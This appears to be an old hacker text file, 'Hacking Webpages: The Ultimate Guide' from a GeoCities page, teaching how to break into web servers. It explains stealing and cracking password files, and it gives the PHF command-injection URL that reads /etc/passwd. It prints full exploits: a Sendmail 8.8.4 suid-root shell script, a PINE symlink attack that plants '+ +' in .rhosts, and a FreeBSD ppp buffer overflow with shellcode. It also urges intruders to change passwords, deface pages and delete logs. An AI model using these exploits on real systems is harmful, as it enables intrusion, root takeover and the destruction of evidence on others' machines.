ÿþHacking Webpages

The Ultimate Guide

By Virtual Circuit and Psychotic





Well Psychotic wrote one of the most helpful unix text files in cyberspace 

but with the mail that we recieved after the release of our famous 36 page 

Unix Bible we realised that unix isn't for everybody so we decided that we 

should write on another aspect of hacking..... Virtual Circuit and Psychotic 

is proud to release, "Hacking Webpages With a few Other Techniques."  We will 

discuss a few various ways of hacking webpages and getting root.  We are also 

going to interview and question other REAL hackers on the subjects.



Getting the Password File Through FTP



Ok well one of the easiest ways of getting superuser access is through 

anonymous ftp access into a webpage. First you need learn a little about 

the password file...



root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh



This is an example of a regular encrypted password file. The Superuser is 

the part that gives you root. That's the main part of the file.



root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp



This is another example of a password file, only this one has one 

little difference, it's shadowed. Shadowed password files don't let you 

view or copy the actual encrypted password.  This causes problems for the 

password cracker and dictionary maker(both explained later in the text). 

Below is another example of a shadowed password file:



root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false



Shadowed password files have an "x" in the place of a password or sometimes 

they are disguised as an * as well.



Now that you know a little more about what the actual password file looks like 

you should be able to identify a normal encrypted pw from a shadowed pw file. 

We can now go on to talk about how to crack it. 



Cracking a password file isn't as complicated as it would seem, although the 

files vary from system to system. 1.The first step that you would take is to 

download or copy the file. 2. The second step is to find a password cracker and 

a dictionary maker. Although it's nearly impossible to find a good cracker there 

are a few ok ones out there. I recomend that you look for Cracker Jack, John the 

Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or 

a dictionary file...  When you start a cracking prog you will be asked to find 

the the password file. That's where a dictionary maker comes in. You can download 

one from nearly every hacker page on the net.  A dictionary maker finds all the 

possible letter combinations with the alphabet that you choose(ASCII, caps, 

lowercase, and numeric letters may also be added) .  We will be releasing our

pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect 

Drug." As far as we know it will be one of the largest in circulation. 3. You then 

start up the cracker and follow the directions that it gives you.





The PHF Technique



Well I wasn't sure if I should include this section due to the fact that everybody 

already knows it and most servers have already found out about the bug and fixed it. 

But since I have been asked questions about the phf I decided to include it.



The phf technique is by far the easiest way of getting a password file(although it 

doesn't work 95% of the time). But to do the phf all you do is open a browser and 

type in the following link: 



http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 



You replace the webpage_goes_here with the domain. So if you were trying to get 

the pw file for www.webpage.com you would type:



http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd



and that's it! You just sit back and copy the file(if it works).





Telnet and Exploits 



Well exploits are the best way of hacking webpages but they are also more complicated 

then hacking through ftp or using the phf. Before you can setup an exploit you must 

first have a telnet proggie, there are many different clients you can just do a netsearch 

and find everything you need.



It s best to get an account with your target(if possible) and view the glitches from 

the inside out. Exploits expose errors or bugs in systems and usually allow you to gain 

root access. There are many different exploits around and you can view each seperately. 

I m going to list a few below but the list of exploits is endless. 



This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:



cat << _EOF_ >/tmp/x.c

 #define RUN "/bin/ksh"

 #include<stdio.h>

 main()

 {

    execl(RUN,RUN,NULL);

 }

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

 main()

 {

   execl("/usr/lib/sendmail","/tmp/smtpd",0);      

 }                                             

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

 main()

 {

   setuid(0); setgid(0); 

   system("chown root /tmp/x ;chmod 4755 /tmp/x");

 }

_EOF_

#

#

gcc -O  -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

   echo "leet..."

   /tmp/x

fi 





and now on to another exploit. I m going to display the pine exploit through linux. 

By watching the process table with ps to see which users are running PINE,  one can 

then do an ls in /tmp/ to gather the lockfile names for each user.  Watching the process 

table once again will now reveal when each user quits PINE or runs out of unread messages 

in their INBOX, effectively deleting the respective lockfile.



Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic 

example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id 

as its contents.  One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm 

/tmp/.hamors_lockfile.



This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is 

the attacker:



hamors (21 19:04) litterbox:~> pine



catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine

hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine



catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4



catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine



catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4



hamors (23 19:09) litterbox:~> pine



catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine

hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine



catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4



catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +



catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4



catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors



now on to another one, this will be the last one that I m going to show. Exploitation 

script for the ppp vulnerbility as described by no one to date, this is NOT 

FreeBSD-SA-96:15. Works on   FreeBSD as tested. Mess with the numbers if it doesnt 

work. This is how you set it up:



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>



#define BUFFER_SIZE     156     /* size of the bufer to overflow */



#define OFFSET          -290    /* number of bytes to jump after the start

                                   of the buffer */



long get_esp(void) { __asm__("movl %esp,%eax\n"); }



main(int argc, char *argv[])

{

        char *buf = NULL;

        unsigned long *addr_ptr = NULL;

        char *ptr = NULL;

        char execshell[] =

        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */

        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */

   

        int i,j;



        buf = malloc(4096);



        /* fill start of bufer with nops */



        i = BUFFER_SIZE-strlen(execshell);



        memset(buf, 0x90, i);

        ptr = buf + i;



        /* place exploit code into the buffer */



        for(i = 0; i < strlen(execshell); i++) 

                *ptr++ = execshell[i];



        addr_ptr = (long *)ptr;

        for(i=0;i < (104/4); i++)

                *addr_ptr++ = get_esp() + OFFSET;



        ptr = (char *)addr_ptr;

        *ptr = 0;



        setenv("HOME", buf, 1);



        execl("/usr/sbin/ppp", "ppp", NULL);

}



Now that you ve gotten root "what s next?" Well the choice is up to you but I would 

recommend changing the password before you delete or change anything. To change their 

password all you have to do is login via telnet and login with your new account. Then

you just type: passwd  and it will ask you for the old password first followed by the new 

one. Now only you will have the new pw and that should last for a while you can now upload 

you pages, delete all the logs and just plain do your worstJ Psychotic writes our own 

exploits and we will be releasing them soon, so keep your eyes open for them. We recommend 

that if you are serious about learing ethnical hacking that you download our Unix Bible.



~~PSYCHOTIC~~
Source: geocities.com/outlaw69427
